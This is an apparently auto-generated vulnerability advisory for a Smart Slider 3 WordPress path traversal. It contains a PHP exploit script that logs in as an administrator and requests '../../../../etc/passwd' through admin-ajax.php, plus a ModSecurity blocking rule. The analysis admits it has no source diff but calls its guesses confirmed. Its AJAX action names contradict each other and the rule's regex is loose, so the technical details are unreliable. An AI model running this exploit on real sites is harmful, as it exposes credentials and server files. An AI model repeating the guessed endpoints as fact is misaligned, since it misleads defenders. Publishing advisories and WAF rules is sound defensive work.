Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-9197: Smart Slider 3 <= 3.5.1.36 Authenticated (Administrator+) Path Traversal to Arbitrary File Read via 'src'/'srcset' Attribute in HTML Export PoC, Patch Analysis & Rule

CVE ID CVE-2026-9197
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 3.5.1.36
Patched Version
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9197 (metadata-based): This vulnerability allows authenticated attackers with administrator-level access to read arbitrary files on the server via path traversal in the Smart Slider 3 plugin for WordPress, specifically through the replaceHTMLImage function. The CVSS score of 4.9 (HIGH confidentiality impact, no integrity or availability impact) reflects the privilege requirement but severe data exposure risk.

Root Cause: Based on the CWE-22 classification and vulnerability description, Atomic Edge research infers that the replaceHTMLImage function processes ‘src’ or ‘srcset’ attributes in exported HTML content without properly sanitizing or validating file paths. The plugin likely passes user-controlled paths to file-reading functions (e.g., file_get_contents, wp_remote_get, or similar) without restricting directory traversal sequences like ‘../’. This is confirmed by the CWE classification as a classic path traversal vulnerability, though no source code diff is available.

Exploitation: An attacker with administrator privileges can exploit this by crafting an HTML export payload where the ‘src’ or ‘srcset’ attribute contains a path traversal sequence (e.g., ../../../../etc/passwd). The vulnerable function replaceHTMLImage is likely triggered via an AJAX handler like ‘smart_slider3_export_action’ or similar export-related endpoint exposed under /wp-admin/admin-ajax.php. The attacker sends a POST request with the action parameter set to the export handler and a parameter containing the malformed image source. The plugin processes this and returns the contents of the traversed file in the response.

Remediation: The patched version (3.5.1.37) likely implements proper path validation by restricting file reads to within the plugin’s allowed directories (e.g., using realpath() to resolve symbolic links and checking the path against an allowlist or document root). Developers should sanitize the ‘src’ and ‘srcset’ parameters by rejecting any path containing ‘..’ or by using WordPress’s built-in file system functions (e.g., WP_Filesystem) with strict path scoping.

Impact: Successful exploitation allows an administrator to read arbitrary files from the WordPress server, including wp-config.php (database credentials), /etc/passwd (system users), and other sensitive configuration files. This can lead to complete site compromise if combined with other vulnerabilities, though the privilege requirement limits the attack surface to authenticated administrators.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9197 (metadata-based)
# Blocks path traversal attempts via 'src' or 'srcset' parameters sent to Smart Slider 3 AJAX export handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261997,phase:2,deny,status:403,chain,msg:'CVE-2026-9197 Smart Slider 3 Path Traversal via src/srcset',severity:'CRITICAL',tag:'CVE-2026-9197'"
  SecRule ARGS_POST:action "@streq smart_slider_export" "chain"
    SecRule ARGS_POST:data "@rx ../" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9197 - Smart Slider 3 <= 3.5.1.36 - Authenticated (Administrator+) Path Traversal to Arbitrary File Read via 'src'/'srcset' Attribute in HTML Export

/**
 * Exploit: Uses administrator session to trigger path traversal via HTML export functionality.
 * Assumes vulnerable plugin version and AJAX action 'smart_slider_export'.
 * Adjust $target_url, $username, $password accordingly.
 */

$target_url = 'http://example.com';  // Change to target WordPress URL
$username = 'admin';                  // Administrator credentials
$password = 'admin_password';

$cookie_file = tempnam(sys_get_temp_dir(), 'cve9197_cookie');

// Step 1: Authenticate as administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
));
curl_exec($ch);
curl_close($ch);

// Step 2: Trigger file read via path traversal in exported HTML
// Assumed AJAX action 'smart_slider_export' and parameter 'data' containing SVG/HTML with src attribute.
// The vulnerable replaceHTMLImage function processes images in exported sliders.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
    'action' => 'smart_slider_export',
    'data' => json_encode(array(
        'slides' => array(
            array(
                'layers' => array(
                    array(
                        'type' => 'image',
                        'src' => '../../../../etc/passwd',  // Path traversal to read arbitrary file
                        'srcset' => ''
                    )
                )
            )
        )
    ))
);

$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload),
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
));
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Output response (should contain file contents or error)
echo "Server response:n" . $response . "n";

// Clean up
unlink($cookie_file);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School